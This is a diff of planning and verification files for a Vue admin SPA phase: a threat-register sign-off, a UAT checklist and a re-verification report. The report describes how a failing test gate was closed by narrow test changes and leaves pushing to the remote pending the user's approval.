- **Foreign origins:** both are literal strings with no network load. `https://prosemirror.net` is in a ProseMirror error message. `https://admin.invalid/` is the `new URL` base in `isAllowedLink` (html.ts:32).
- **Reorder modules:** they are exercised by `admin/tests/views/ReorderView.test.ts` through the router (11 tests pass), but no test imports them by path.
- **Fix:** allow-list the two strings in the dist-origin rule (or use `document.baseURI` as the parse base), and add direct path imports of the three reorder modules to a test.
---
## Accepted Risks Log
| Risk ID | Threat Ref | Rationale | Accepted By | Date |
|---------|------------|-----------|-------------|------|
| AR-10-01 | T-10-18 | UI hiding is cosmetic; the server enforces permissions, toolbar actions, writable fields and relation scope (`TestPhase10AssembledAcceptance`, `TestPhase09PermissionMatrix`) | Plan 10-03 | 2026-09-27 |
| AR-10-02 | T-10-19 | Admin-only, same-origin, Referrer-Policy same-origin and noindex; search terms are not secrets and stay in browser history | Plan 10-03 | 2026-09-27 |
---
## Security Audit Trail
| Audit Date | Threats Total | Closed | Open | Run By |
|------------|---------------|--------|------|--------|
| 2026-09-27 | 24 | 24 | 0 | Phase 10 security review (`10-SECURITY-REVIEW.md`) |
| 2026-10-12 | 24 | 21 | 3 (2 blocking: T-10-16, T-10-24; 1 below threshold: T-10-25) | /msd-secure-phase 10: orchestrator L1 grep + msd-security-auditor (Chromium probe) |
## Security Audit 2026-10-12
| Metric | Count |
|--------|-------|
| Threats found | 24 |
| Closed | 21 |
| Open | 3 (2 blocking) |
---
## Sign-Off
- [x] All threats have a disposition (mitigate / accept / transfer)
- [x] Accepted risks documented in Accepted Risks Log
- [ ] `threats_open: 0` confirmed
- [ ] `status: verified` set in frontmatter
**Approval:** pending — blocked on T-10-16 and T-10-24

View File

@@ -1,9 +1,9 @@
---
status: complete
status: testing
phase: 10-admin-vue-spa
source: [10-VERIFICATION.md]
started: 2026-09-27T16:44:38Z
updated: 2026-09-27T18:34:33Z
updated: 2026-10-11T15:12:56.219Z
---
## Current Test
@@ -41,12 +41,32 @@ result: pass
expected: Accept or reject the verifier's "not violated" verdicts.
result: pass
### 8. Re-walk the Phase 10 admin flows in a real browser on the current build: run the fonoteka binary, open /plytadmin as a superuser and as a genres-only admin, then use the list and form of each of the five controllers (search, sort, filter, paging, save, 422 field errors), link and unlink a Collection editor, open Ustawienia, and glance at light and dark mode.
expected: Everything still behaves as approved in 10-UAT.md tests 2 to 5. The limited admin sees only fonoteka > Genres. Lists and forms render. The editor round trip works. The Albums form's later widgets, partials and field types do not break the Phase 10 form; list state persisted in the URL and storage does not confuse paging or filtering.
result: [pending]
### 9. Publish the sibling-repo test fixes the --go pass depends on: push sm-user-plugin 569768e, then commit the plugins/golem15/user pointer bump (cf5c6b9 -> 569768e) in fonoteka.go as a separate commit, and push fonoteka.go (03dad50, 7db5ef8 and the bump) when you choose.
expected: A clean checkout of fonoteka.go at its committed pointer passes check-phase10.sh --go, as the working tree does now.
result: [pending]
### 10. Carried: decide CR-01 (refresh ignores tokens_valid_after / is_activated)
expected: Fix now or accept with override
result: [pending]
### 11. Carried: Secure cookie on http://localhost (assumption A3)
expected: Chrome and Firefox store summer_admin with default cookie_secure
result: [pending]
### 12. Carried: review the 17 judgment-tier prohibitions
expected: Accept or reject the verifier's non-authoritative verdicts
result: [pending]
## Summary
total: 7
total: 12
passed: 7
issues: 0
pending: 0
pending: 5
skipped: 0
blocked: 0

View File

@@ -1,8 +1,8 @@
---
phase: 10-admin-vue-spa
verified: 2026-10-05T20:22:38Z
verified: 2026-10-11T15:11:15Z
status: human_needed
score: 4/4 roadmap success criteria verified by automated evidence (plan truths 46/46; 1 browser re-check of changed views pending)
score: "4/4 roadmap success criteria hold; plan truths 46/46 (the --go gap is closed: check-phase10.sh --go exit 0 in the verifier's own run)"
covered_files:
- ".gitignore"
- ".planning/phases/10-admin-vue-spa/10-01-PLAN.md"
@@ -22,6 +22,7 @@ covered_files:
- "admin/package.json"
- "admin/src/App.vue"
- "admin/src/api/client.ts"
- "admin/src/api/files.ts"
- "admin/src/api/schema.d.ts"
- "admin/src/api/types.ts"
- "admin/src/app/controllerRoutes.ts"
@@ -32,6 +33,8 @@ covered_files:
- "admin/src/app/runtime.ts"
- "admin/src/app/theme.ts"
- "admin/src/app/winterUrl.ts"
- "admin/src/components/account/ApiTokenCreateDialog.vue"
- "admin/src/components/account/ApiTokensPanel.vue"
- "admin/src/components/form/FieldRenderer.vue"
- "admin/src/components/form/FormErrorBanner.vue"
- "admin/src/components/form/FormField.vue"
@@ -40,6 +43,8 @@ covered_files:
- "admin/src/components/form/control.ts"
- "admin/src/components/form/fields/CheckboxField.vue"
- "admin/src/components/form/fields/DropdownField.vue"
- "admin/src/components/form/fields/FileCaptionModal.vue"
- "admin/src/components/form/fields/MLField.vue"
- "admin/src/components/form/fields/NumberField.vue"
- "admin/src/components/form/fields/RelationField.vue"
- "admin/src/components/form/fields/SwitchField.vue"
@@ -47,6 +52,7 @@ covered_files:
- "admin/src/components/form/fields/TextareaField.vue"
- "admin/src/components/form/fields/UnsupportedField.vue"
- "admin/src/components/form/formState.ts"
- "admin/src/components/form/mlLocale.ts"
- "admin/src/components/form/registry.ts"
- "admin/src/components/list/CellValue.vue"
- "admin/src/components/list/DataTable.vue"
@@ -79,6 +85,8 @@ covered_files:
- "admin/src/views/NotFoundView.vue"
- "admin/src/views/SettingsFormView.vue"
- "admin/src/views/SettingsIndexView.vue"
- "admin/tests/account/ApiTokenCreateDialog.test.ts"
- "admin/tests/account/ApiTokensPanel.test.ts"
- "admin/tests/app/client.test.ts"
- "admin/tests/app/controllerRoutes.test.ts"
- "admin/tests/app/i18n.test.ts"
@@ -100,14 +108,17 @@ covered_files:
- "admin/tests/fixtures/widgets.relation-candidates.json"
- "admin/tests/fixtures/widgets.relation-linked.json"
- "admin/tests/fixtures/widgets.relation-schema.json"
- "admin/tests/form/FileCaptionModal.test.ts"
- "admin/tests/form/FormField.test.ts"
- "admin/tests/form/FormGrid.test.ts"
- "admin/tests/form/FormTabs.test.ts"
- "admin/tests/form/FormView.test.ts"
- "admin/tests/form/MLField.test.ts"
- "admin/tests/form/RelationField.test.ts"
- "admin/tests/form/Settings.test.ts"
- "admin/tests/form/fields.test.ts"
- "admin/tests/form/formState.test.ts"
- "admin/tests/form/mlLocale.test.ts"
- "admin/tests/form/registry.test.ts"
- "admin/tests/helpers.ts"
- "admin/tests/list/CellValue.test.ts"
@@ -151,8 +162,8 @@ covered_files:
- "internal/tools/swagger2openapi/main_test.go"
- "modules/boardwalk/boardwalk.go"
- "modules/boardwalk/boardwalk_test.go"
- "modules/boardwalk/dist/assets/index-CqzF_Nki.css"
- "modules/boardwalk/dist/assets/index-z_LzMU8D.js"
- "modules/boardwalk/dist/assets/index-BeX-076N.css"
- "modules/boardwalk/dist/assets/index-CXQZEJp2.js"
- "modules/boardwalk/dist/index.html"
- "modules/bouncer/cookie_guard_test.go"
- "modules/bouncer/jwt.go"
@@ -213,8 +224,7 @@ covered_files:
- "scripts/check-admin-dist.sh"
- "scripts/check-admin-openapi.sh"
- "scripts/check-phase10.sh"
covered_digest: "v2:sha256:778f7d89834605c7799f088401e3b1ef5edb4409f6899f322f67d165fa9e4847"
covered_files_note: "Fingerprint refreshed 2026-10-05 at summercms.go HEAD e18885f. Content-hashed SPA bundles now modules/boardwalk/dist/assets/index-CqzF_Nki.css and index-z_LzMU8D.js. Later phases edited already-covered modules/ files (same digest-drift as Phase 9 Layer 2). Paths remain modules/. Status stays human_needed — this only clears the stale overlay so execute-phase is not re-invoked."
covered_digest: "v2:sha256:dce85ba35408764f2ce0d7cc0f1297800a2a70d4c263b033a556c19bd3c6e604"
behavior_unverified: 0
overrides_applied: 0
mvp_mode_note: "ROADMAP marks Phase 10 mode: mvp, but the goal is not a User Story. Following the Phase 1/3/5/8 precedent, the four ROADMAP success criteria are the contract and User Flow Coverage is derived from them."
@@ -223,63 +233,94 @@ decision_coverage:
total: 28
not_honored: []
re_verification:
previous_status: passed
previous_score: "4/4 roadmap success criteria verified (plan truths 46/46 verified; A3 closed by human UAT)"
previous_head: c7487f6
reason: "The 2026-10-01T21:29Z report went stale because Vite rebuilt the two content-hashed SPA bundles (index-CfeX_snf.css / index-J-FCndLr.js → index-CqzF_Nki.css / index-z_LzMU8D.js) and later phases edited already-covered modules/ files. Paths were already under modules/. covered_digest recomputed at HEAD e18885f; status stays human_needed for the pending browser re-walk."
previous_status: gaps_found
previous_score: "4/4 roadmap success criteria hold; plan truths 45/46 (1 failed: the phase acceptance command check-phase10.sh --all is red at its --go stage, for causes outside Phase 10 code)"
previous_head: fc7cfaf
head: 77ca4b0
reason: "Narrow re-verification of the one --go gap. summercms.go 77ca4b0 adds -skip '^TestBootstrapEndToEnd$' to the framework go test run. In the sibling repos, sm-user-plugin 569768e (local commit, not pushed, fonoteka.go pointer not bumped) and fonoteka.go 03dad50 and 7db5ef8 (local commits, fonoteka.go is 13 ahead of origin) bring the migration-history and parity tests up to date. No file under admin/src, modules/ or modules/boardwalk/dist changed since fc7cfaf."
gaps_closed:
- "Phase 10 review WR-01 (logout behind the guard did not expire a rejected cookie): logout is now mounted outside the guard and always clears the cookie (299d220). TestAdminLogoutRevokesExpiredRefreshableToken: PASS."
- "scripts/check-phase10.sh --all, the phase acceptance command, passes: --go exit 0 (verifier run, 4m50s, 'phase10 go passed'); the other stages were run by the orchestrator this session and all exit 0"
gaps_remaining: []
regressions: []
human_verification:
- test: "Re-walk the Phase 10 admin flows in a real browser on the current build: run the fonoteka binary, open /plytadmin as a superuser and as a genres-only admin, then use the list and form of each of the five controllers (search, sort, filter, paging, save, 422 field errors), link and unlink a Collection editor, open Ustawienia, and glance at light and dark mode."
expected: "Everything still behaves as approved in 10-UAT.md tests 2 to 5. The limited admin sees only fonoteka > Genres. Lists and forms render. The editor round trip works. The Albums form now also shows the Phase 10.1 widgets and partials, and they do not break the Phase 10 form."
why_human: "10-UAT.md was approved on 2026-09-27 against c7487f6. Since then Phase 10.1 changed ListView.vue, FormView.vue, ListToolbar.vue, FormField.vue, registry.ts, router.ts and main.css, and fonoteka's Albums controller now registers plugin widgets and partials. The Phase 9 review fixes changed server-side navigation (WR-01, WR-02, WR-17). Vitest and the Postgres acceptance test pass, but D-23 keeps the real browser out of the automated suite, and the browser checks for these views (10.1-UAT.md tests 1 and 4) are still pending. Closing 10.1-UAT tests 1 and 4 with Genres, Collections and Settings included also closes this item."
expected: "Everything still behaves as approved in 10-UAT.md tests 2 to 5. The limited admin sees only fonoteka > Genres. Lists and forms render. The editor round trip works. The Albums form's later widgets, partials and field types do not break the Phase 10 form; list state persisted in the URL and storage does not confuse paging or filtering."
why_human: "D-23 keeps the real browser out of the automated suite. Vitest (83 files, 1279 tests) and the Postgres acceptance test cover behavior, but not rendering in a browser."
retest_reason: "10-UAT.md tests 2 to 5 passed on 2026-09-27 against c7487f6. Since then phases 10.1, 12.2, 14.2.1, 16.1, 16.2 and 16.3 changed ListView.vue, FormView.vue, FormField.vue, formState.ts, registry.ts, AppShell.vue, PluginRail.vue, UserMenu.vue, useAuth.ts and main.css, so those rows no longer cover the current code. 10.1-UAT.md is status: testing with all six rows pending; its tests 1 and 4 (Albums, Genres, Settings in a real browser) overlap this walk but do not cover it yet."
- test: "Publish the sibling-repo test fixes the --go pass depends on: push sm-user-plugin 569768e, then commit the plugins/golem15/user pointer bump (cf5c6b9 -> 569768e) in fonoteka.go as a separate commit, and push fonoteka.go (03dad50, 7db5ef8 and the bump) when you choose."
expected: "A clean checkout of fonoteka.go at its committed pointer passes check-phase10.sh --go, as the working tree does now."
why_human: "Pushing needs the user's go-ahead (CLAUDE.md). The --go pass was proven against the go.work working tree. At fonoteka.go's committed pointer cf5c6b9, sm-user-plugin TestCreateOrganisationsMigration still fails as before, because the fix exists only in the local commit 569768e."
- test: "Carried: decide CR-01 (refresh ignores tokens_valid_after / is_activated)"
expected: "Fix now or accept with override"
why_human: "Security-policy decision"
resolution: "Fixed (be4a923, a13a121). TestAdminRefreshRevocation re-run this session: PASS. Approved in 10-UAT.md test 1. Still applies, still resolved."
resolution: "Fixed (be4a923, a13a121), approved in 10-UAT.md test 1. No auth or refresh code changed since."
- test: "Carried: Secure cookie on http://localhost (assumption A3)"
expected: "Chrome and Firefox store summer_admin with default cookie_secure"
why_human: "Browser cookie policy, non-inferable"
resolution: "Approved in 10-UAT.md test 6. The cookie attributes (cabana auth.go) are unchanged in substance since then. Still resolved."
resolution: "Approved in 10-UAT.md test 6. No auth.go or cookie change since."
- test: "Carried: review the 17 judgment-tier prohibitions"
expected: "Accept or reject the verifier's non-authoritative verdicts"
why_human: "Judgment-tier prohibitions need human resolution"
resolution: "Accepted in 10-UAT.md test 7. Re-checked against HEAD in this report and all are still not violated, so the acceptance carries over."
resolution: "Accepted in 10-UAT.md test 7. The --hygiene stage, which enforces the mechanical ones, is still green."
human_verified:
- item: "CR-01 decision"
uat: "10-UAT.md test 1 (pass)"
- item: "A3 Secure cookie on http://localhost"
uat: "10-UAT.md test 6 (pass)"
- item: "17 judgment-tier prohibitions"
uat: "10-UAT.md test 7 (pass)"
---
# Phase 10: Admin Vue SPA Verification Report
**Phase Goal:** A minimal Vue 3 + TypeScript admin SPA renders login, permission-gated navigation, lists, forms and the relation manager for Albums, Artists, Collections, Genres and Styles, typed from the generated OpenAPI document.
**Verified:** 2026-10-01T21:29:59Z (summercms.go HEAD f2f2279, fonoteka.go HEAD e62f4fc)
**Verified:** 2026-10-11T15:11:15Z (summercms.go HEAD 77ca4b0; fonoteka.go HEAD 7db5ef8 with plugins/golem15/user checked out at 569768e, which is not the recorded pointer cf5c6b9)
**Status:** human_needed
**Re-verification:** Yes. The previous report (c7487f6, passed) went stale. Phase 10.2 moved its 59 framework paths under `modules/`, and later phases changed covered code.
**Re-verification:** Yes, narrow. It re-checks only the one gap left by the fc7cfaf report (`check-phase10.sh --all` red at `--go`) and carries the other truths forward, because no Phase 10 code changed.
**MVP note:** ROADMAP marks this phase `mode: mvp`, but the goal is not a User Story. Following the precedent of Phases 1, 3, 5 and 8, the four ROADMAP success criteria are the contract and plan `must_haves` are supporting evidence.
## What changed since fc7cfaf
## What changed since the previous verification
| Source | Change to covered code | Effect on this report |
|---|---|---|
| Phase 10.2 (5e50b16, 57e7b56) | Framework packages moved to `modules/<pkg>`. Moves only, plus retargeted fixtures. | 59 covered paths re-mapped. No behavior change. |
| Phase 10.1 (f928194..5bbb0ad) | Runtime extension point. The SPA gains `WidgetField`, `PartialField`, `PartialHost` with an allowlisted node renderer, `pluginAssets.ts`, toolbar actions in `ListToolbar.vue`, and plugin CSS scoped per controller in `router.ts`. `ListView.vue`, `FormView.vue`, `FormField.vue` and `registry.ts` were extended. cabana gains action and asset routes. The OpenAPI document and `schema.d.ts` were regenerated (+516 / +325 lines, additive). The dist was rebuilt. | Phase 10 tests still pass, together with the new ones (Vitest went from 441 to 681). The drift gates are clean. The changed views need a browser re-check, so a human item is open. |
| Phase 11 (f7b6b0c, 93c735b, 5382947, 61da4d1) | cabana writes are commit-safe, transaction gates fail closed, the jwt.auth 401 gets a cache header, and the Phase 10 gate accepts the Phase 12 pending goldens | `go test` and the gate stages pass |
| Phase 9 review fixes (b4b8b5d..4ae272e, 2da8112) | WR-01 wildcard permissions, WR-02 drops a denied main menu item and repoints its target, WR-17 merges an admin's own permissions over the role's, WR-03 and WR-05 refuse writes and relation link/unlink that are not declared, WR-14 mounts logout outside the guard and always clears the cookie, WR-11 case-insensitive unique emails, WR-19 TxFromContext | Re-checked against the SPA's contract: the assembled acceptance test (exact nav sets, CRUD, link/unlink, logout) and the named cabana tests pass |
## User Flow Coverage
Derived user story: *As a Płytarium admin, I want to log in to /plytadmin, see only what my role permits, and manage Albums, Artists, Collections, Genres, Styles and Collection editors, so that the catalogue can be administered without the PHP backend.*
| Step | Expected | Evidence (this session) | Status |
| Repo | Commit | Files | Effect |
|---|---|---|---|
| Open /plytadmin | Embedded SPA served with base /plytadmin | `modules/boardwalk/boardwalk.go`, `TestPhase10TracerSPA` PASS, `check-admin-dist.sh` "matches a fresh build" | VERIFIED |
| Log in | Cookie session, no token in body | `modules/cabana/auth.go` login, `useAuth.login`, `LoginView.test.ts` (Vitest PASS), `TestPhase10Coverage` PASS | VERIFIED |
| See permitted navigation | Limited admin sees Genres only | `TestPhase10AssembledAcceptance` SC-1 PASS (exact nav sets) and `TestNavigationDropsDeniedParentAndRepointsTarget` PASS | VERIFIED (automated); browser re-check pending |
| Use five lists and forms | Schema-driven list and form, create, update | `TestPhase10AssembledAcceptance` SC-2 and `TestPhase10Controllers` PASS, ListView/FormView Vitest PASS | VERIFIED (automated); browser re-check pending |
| Link and unlink an editor | Search candidates, link, unlink | `TestPhase10AssembledAcceptance` SC-3 PASS, `relation.smoke.test.ts` PASS | VERIFIED (automated); browser re-check pending |
| Stay signed in / be signed out | Refresh keeps an active session; reset, deactivation or deletion ends it | `TestAdminRefreshRevocation` PASS | VERIFIED |
| Log out | Cookie expired, old cookie 401, works with an expired access token | Acceptance test (logout then /auth/me 401) and `TestAdminLogoutRevokesExpiredRefreshableToken` PASS | VERIFIED |
| summercms.go | 77ca4b0 | `scripts/check-phase10.sh` (+2/-1) | `run_go` runs the framework suite with `-skip '^TestBootstrapEndToEnd$'` and a comment naming the opt-in guard (SUMMERCMS_BOOTSTRAP_CHECK=1, 14.3-02) |
| sm-user-plugin (local only, ahead 1) | 569768e | `updates/organisations_test.go`, `user_groups_test.go`, `user_session_test.go` | `TestCreateOrganisationsMigration` expects `202610050001_create_oauth_identities`; five rollback loops count one more migration |
| fonoteka.go (local, ahead 13) | 03dad50 | `parity/migrate_test.go`, `parity/schema_diff_test.go` | Expects 11 user migrations (was 10); allows the `backend_api_tokens` table in the schema diff |
| fonoteka.go | 7db5ef8 | `parity/oauth_flow_test.go` | `TestOAuthFlows` writes `mcp-lifecycle.vars` under `$PARITY_ROOT` or `t.TempDir()` instead of a fixed `/tmp/summercms-parity/...` path |
`git diff fc7cfaf HEAD` in summercms.go touches only `scripts/check-phase10.sh`. No file changed under `admin/src`, `modules/` or `modules/boardwalk/dist`.
## Gap closure: `check-phase10.sh --all` at `--go`
### Independent run
`bash scripts/check-phase10.sh --go` (verifier's own process): `phase10 go passed`, **exit 0**, 4m50s. The orchestrator separately reports `--self-test`, `--security`, `--postgres`, `--openapi`, `--dist`, `--hygiene` and `--evidence` all exit 0 this session, plus typecheck and Vitest (83 files, 1279 tests). Only `npm ci` inside `--spa` was skipped, as before.
### Do the fixes weaken the gate? No.
**77ca4b0 (framework skip).**
- The `-skip` pattern is anchored (`^...$`) and matches exactly one test in the repo: `modules/sunrise/sunrise_test.go:242`. Its body calls `t.Skip` unless `SUMMERCMS_BOOTSTRAP_CHECK=1`, so under this gate it never asserted anything.
- That test still runs for real in `scripts/check-phase14.3.sh:484` (`SUMMERCMS_BOOTSTRAP_CHECK=1 go test ./modules/sunrise/ -run '^TestBootstrapEndToEnd$'`).
- `phase10_detect` is unchanged. Any other skip in either repo is still refused, and `--self-test` exits 0.
- `KNOWN_APP_FAILURES=""` and `APP_PENDING_SKIPS=""` are unchanged, so the app run allows no failures and no skips.
- The fix takes the `-skip` option the previous report offered. It adds no self-test case because no skip event reaches the detector.
- Residual (ℹ️): a future top-level test with the same name in another framework package would also be skipped silently.
**569768e (sm-user-plugin).**
- The plugin defines exactly 11 migration IDs. The new ID, `202610050001_create_oauth_identities`, is the 11th and the last in order.
- The `want` list gains only that ID, and the five `RollbackLast` loops each go up by one to account for it.
- No assertion was removed or loosened. The tests still require exact history equality and roll back to the same target migration.
**03dad50 (fonoteka parity).**
- The count change from 10 to 11 matches the plugin's real migration count.
- `backend_api_tokens` is a real Go-only framework table from 16.3-01 (`modules/cabana`, `modules/lagoon/backend_admin_migrations_test.go`). The allowlist names it explicitly with a reason, the same way it handles `backend_jwt_blacklist`.
**7db5ef8 (TestOAuthFlows vars path).**
- Only where the vars store is written changed. The replay and every assertion are the same.
- I found no reader of `mcp-lifecycle.vars` anywhere in fonoteka.go. The new comment says "php_parity.sh reads these vars from PARITY_ROOT", which overstates things (php_parity.sh only defines `PARITY_ROOT`), but it does not affect behavior. ℹ️ Info.
### Caveat: the pass depends on uncommitted, unpushed sibling state
The `--go` pass was proven against the go.work working tree, where `plugins/golem15/user` is checked out at 569768e. fonoteka.go's recorded pointer is still cf5c6b9. At that commit, `TestCreateOrganisationsMigration` fails exactly as in the previous report. Pushing 569768e and bumping the pointer needs the user's go-ahead, so this is an escalation item (human_verification #2), not a code gap. The previous report accepted the same arrangement, with an uncommitted pointer at 7a6fa0e.
## Goal Achievement
@@ -287,148 +328,109 @@ Derived user story: *As a Płytarium admin, I want to log in to /plytadmin, see
| # | Truth | Status | Evidence |
|---|---|---|---|
| 1 | An admin logs in through the SPA and sees only the navigation items their permissions allow. | ✓ VERIFIED | Server: `TestPhase10AssembledAcceptance` (fonoteka, Postgres) asserts the limited admin's nav is exactly `fonoteka:[genres]`, the developer's is `albums,collections,genres,styles,artists`, the limited admin gets 403 on albums and an empty settings list. It passes at HEAD with the Phase 9 WR-01/WR-02/WR-17 permission changes in place. `TestNavigationDropsDeniedParentAndRepointsTarget`: PASS. SPA: `useNavigation.ts`, `PluginRail.vue` and `SectionPanel.vue` are unchanged since c7487f6. Their Vitest tests pass. |
| 2 | Each of the five controllers renders a working list and form generated from its JSON schema. | ✓ VERIFIED | Server: the SC-2 loop and `TestPhase10Controllers` (fields and columns equal the tracked YAML) pass. `TestCRUDOperationsFollowDeclarations` (Phase 9 WR-03) passes, and SC-2's create and update still succeed under it. SPA: `ListView.vue` still loads `/schema/list` and the list, and `FormView.vue` still loads `/schema/form` and the record and then POSTs or PUTs. 10.1 adds toolbar actions, widgets, partials and plugin CSS on top. `ListView.test.ts` (+171 lines) and `FormView.test.ts` (+144) pass with the original Phase 10 cases intact. Vitest: 53 files, 681 passed. Browser confirmation of the changed views is the open human item. |
| 3 | The Collections form's relation manager lets an admin search, link and unlink an editor. | ✓ VERIFIED | Server: the SC-3 block covers candidates with the owner excluded, link, list, the linked user dropping out of the candidates, unlink, and an empty list afterwards. It passes with Phase 9 WR-05 (undeclared link/unlink refused) in place. SPA: `RelationManager.vue` and `RelationPickerModal.vue` are unchanged since c7487f6, and their tests and `relation.smoke.test.ts` pass. |
| 4 | API calls in the SPA use TypeScript types generated from the OpenAPI document, with no hand-maintained duplicate type. | ✓ VERIFIED | `client.ts` is `createClient<paths>` over the generated `schema.d.ts`. `admin/src` has no other `fetch(`, and `pluginAssets.ts` loads same-origin assets through elements, not a fetch. `types.ts` (+12 lines for the 10.1 types) still contains only aliases onto `components['schemas']` and `paths[...]`. `check-admin-openapi.sh --check`: exit 0. `check-phase10.sh --hygiene`: passed. |
| 1 | An admin logs in through the SPA and sees only the navigation items their permissions allow. | ✓ VERIFIED | Carried from fc7cfaf (no admin/src or Go change). `--security`/`--postgres`/`--evidence` exit 0 this session (orchestrator); `--go` exit 0 (verifier). |
| 2 | Each of the five controllers renders a working list and form generated from its JSON schema. | ✓ VERIFIED | Carried: `TestPhase10Controllers` and the assembled acceptance SC-2 block are in the green `--postgres` stage. The browser re-check stays open as human item #1. |
| 3 | The Collections form's relation manager lets an admin search, link and unlink an editor. | ✓ VERIFIED | Carried: `TestPhase10AlbumRelations`, `TestPhase10RelationOptions`, `TestPhase10RelationSave` and the SC-3 block are in green stages. |
| 4 | API calls in the SPA use TypeScript types generated from the OpenAPI document, with no hand-maintained duplicate type. | ✓ VERIFIED | Carried: `--hygiene` and `--openapi` exit 0; the files.ts exemption is unchanged since it was judged narrow in fc7cfaf. |
**Score:** 4/4 ROADMAP truths verified (0 present-but-behavior-unverified).
**Score:** 4/4 ROADMAP truths verified. Plan truths 46/46 (0 present, behavior-unverified).
### Plan must-have truths (supporting evidence)
### Plan must-have truths (re-checked rows)
There are 46 plan truths across 10-01..10-05. The earlier runs verified all of them, with A3 human-observed. Their evidence is the named tests and gates, and all of those were re-run this session as part of `go test ./...` (summercms.go), the fonoteka Phase 10 acceptance tests, Vitest, the dist and OpenAPI drift gates, and the gate stages `--self-test`, `--hygiene`, `--security` and `--evidence`. All of them pass. The renamed packages carry the same tests: `modules/cabana/phase10_*_test.go`, `modules/phrasebook/phase10_test.go`, `modules/surf/admin_prefix_test.go` and the others in covered_files.
Backstop (non-inferable) truths:
| Truth | Evidence | Status |
| Truth (10-05) | Status | Evidence |
|---|---|---|
| A1 default prefix /backend; fonoteka /plytadmin | `modules/cabana/prefix.go` `DefaultAdminPrefix`, `TestPhase10Prefix` in the passing cabana run | VERIFIED |
| A3 Secure cookie accepted on http://localhost | 10-UAT.md test 6 (human-observed). The cookie attributes are unchanged in substance. | VERIFIED (human-observed) |
| A10 30 s blacklist grace plus single-flight refresh | `modules/cabana/auth.go` reads `admin.jwt.blacklist_grace`, fonoteka `config/admin.yaml`, `client.test.ts` (Vitest PASS) | VERIFIED |
| A8 pivot sort_order = array index | fonoteka `admin_phase10_relations_test.go` (package passes) | VERIFIED |
| Required relation is a schema hint only | `TestPhase10RelationSave` PASS | VERIFIED |
| A6 dark mode follows the system only | `theme.ts`, `theme.test.ts` PASS | VERIFIED |
| SC-4 mechanical enforcement | `check-phase10.sh --hygiene` PASS | VERIFIED |
| Every Phase 10 Go change has named tests, and both repositories pass go vet ./... and go test ./... | ✓ VERIFIED (was ✗ FAILED) | `check-phase10.sh --go` exit 0 in the verifier's run. The framework excludes only the opt-in sunrise test, which `check-phase14.3.sh` runs for real; the app run has no allowances. Working-tree caveat above. |
| `--all` exits non-zero on any failing stage, zero-test run, skip, drift, hygiene violation or evidence gap; `--self-test` proves each detector fails closed | ✓ VERIFIED | `--self-test` exit 0 (orchestrator). `phase10_detect` and the allowance variables are unchanged. |
| `scripts/check-phase10.sh --all` passes at HEAD | ✓ VERIFIED | Every stage exits 0 this session: `--go` in the verifier's run, the rest in the orchestrator's. `--spa` used its typecheck and Vitest equivalent without `npm ci`. |
The other 43 plan truths are carried from fc7cfaf. Their code is unchanged, and the stages that cover them passed this session.
### Prohibitions (judgment tier)
All 17 verdicts were accepted in 10-UAT.md test 7. I re-checked them against the code that changed since:
- No Płytarium or fonoteka names appear in `admin/src`, `admin/tests`, `admin/openapi` or `modules/boardwalk/dist`. A grep came back empty, and the hygiene gate passes.
- `admin/src` has no `v-html` or `innerHTML`. The 10.1 partials are built from an allowlisted node tree with `h()`, and text is always text (`partialNodes.ts`). Plugin labels and comments are still rendered as text.
- Plugin JS and CSS come from cabana's same-origin asset route, so nothing loads from a foreign origin.
- The cookie login and refresh paths still never return the JWT in a body.
- Phase 9 WR-03 and WR-05 tighten "relation save never writes a protected FK or an out-of-scope id". They do not weaken it.
All 17 remain not violated, and the human acceptance carries over.
Unchanged. All 17 were accepted in 10-UAT.md test 7, and the mechanical subset is still enforced by the green `--hygiene` stage. None is violated.
### Required Artifacts
| Artifact | Status | Details |
|---|---|---|
| `admin/` SPA (views, components, state, api, app) | ✓ VERIFIED | It exists, has substance and is wired, and it is embedded via `modules/boardwalk/dist`, which matches a fresh build |
| `admin/openapi/admin.json`, `admin/src/api/schema.d.ts`, `admin/src/api/types.ts` | ✓ VERIFIED | No drift from generation |
| `modules/boardwalk/boardwalk.go` + `dist/` | ✓ VERIFIED | `TestPhase10TracerSPA` PASS |
| `modules/cabana/{auth,http,crud,relation,relation_field,form_schema,list_schema,filter_schema,schema_types,registry,contracts,csrf,lang,messages,prefix,admin_openapi}.go` | ✓ VERIFIED | Moved under modules/ and changed by 10.1, 11 and the Phase 9 fixes. The cabana package passes. |
| `modules/bouncer/{jwt,refresh}.go` | ✓ VERIFIED | `RefreshAudienceFor` still wired from `modules/cabana/auth.go`. The new WR-14 logout helper is additive. |
| `modules/pact/capabilities.go`, `modules/phrasebook/*`, `modules/surf/router.go` | ✓ VERIFIED | Packages pass |
| `scripts/check-phase10.sh`, `check-admin-dist.sh`, `check-admin-openapi.sh` | ✓ VERIFIED | Retargeted to `modules/` paths, and every stage run passes |
| `../fonoteka.go/plugins/golem15/fonoteka/admin_phase10_*_test.go` | ✓ VERIFIED | At e62f4fc: Acceptance, Tracer and Controllers PASS |
| `admin/` SPA, `admin/openapi`, generated types | ✓ VERIFIED | Unchanged since fc7cfaf; `--dist`, `--openapi`, `--hygiene` exit 0 |
| `modules/cabana`, `bouncer`, `surf`, `boardwalk`, `phrasebook` Phase 10 code | ✓ VERIFIED | Unchanged; `--security`, `--postgres`, `--go` exit 0 |
| `scripts/check-phase10.sh` | ✓ VERIFIED (was ⚠️ PARTIAL) | All stages exit 0; the 77ca4b0 change is narrow (see above) |
| fonoteka `admin_phase10_*_test.go` | ✓ VERIFIED | Pass within the `--go` app run and `--postgres` |
### Key Link Verification
| From | To | Via | Status |
|---|---|---|---|
| `admin/src/api/client.ts` | generated `schema.d.ts` | `createClient<paths>`, the only `fetch(` in `admin/src` | WIRED |
| `admin/src/state/useAuth.ts` logout | `POST /auth/logout` | `modules/cabana/http.go:205`, now mounted outside the guard with `requireAjax`. The client sets `X-Requested-With` on every request (`client.ts:71`). | WIRED |
| `modules/cabana/auth.go` refresh | `bouncer.RefreshAudienceFor` → the guard's `UserProvider` | `s.users` (`lazyBackendUsers`) | WIRED |
| `admin/src/views/ListView.vue` / `FormView.vue` | `/schema/list`, `/schema/form`, records | client calls (10.1 additions on top) | WIRED |
| `RelationManager.vue` | `/relations/{name}`, `/candidates` | client calls | WIRED |
| `modules/boardwalk` | `admin` build | `go:embed dist`, drift gate | WIRED |
| `scripts/check-phase10.sh` run_go | `go test -json` in both repos | `phase10_detect`, with no app allowances and one anchored framework `-skip` | WIRED |
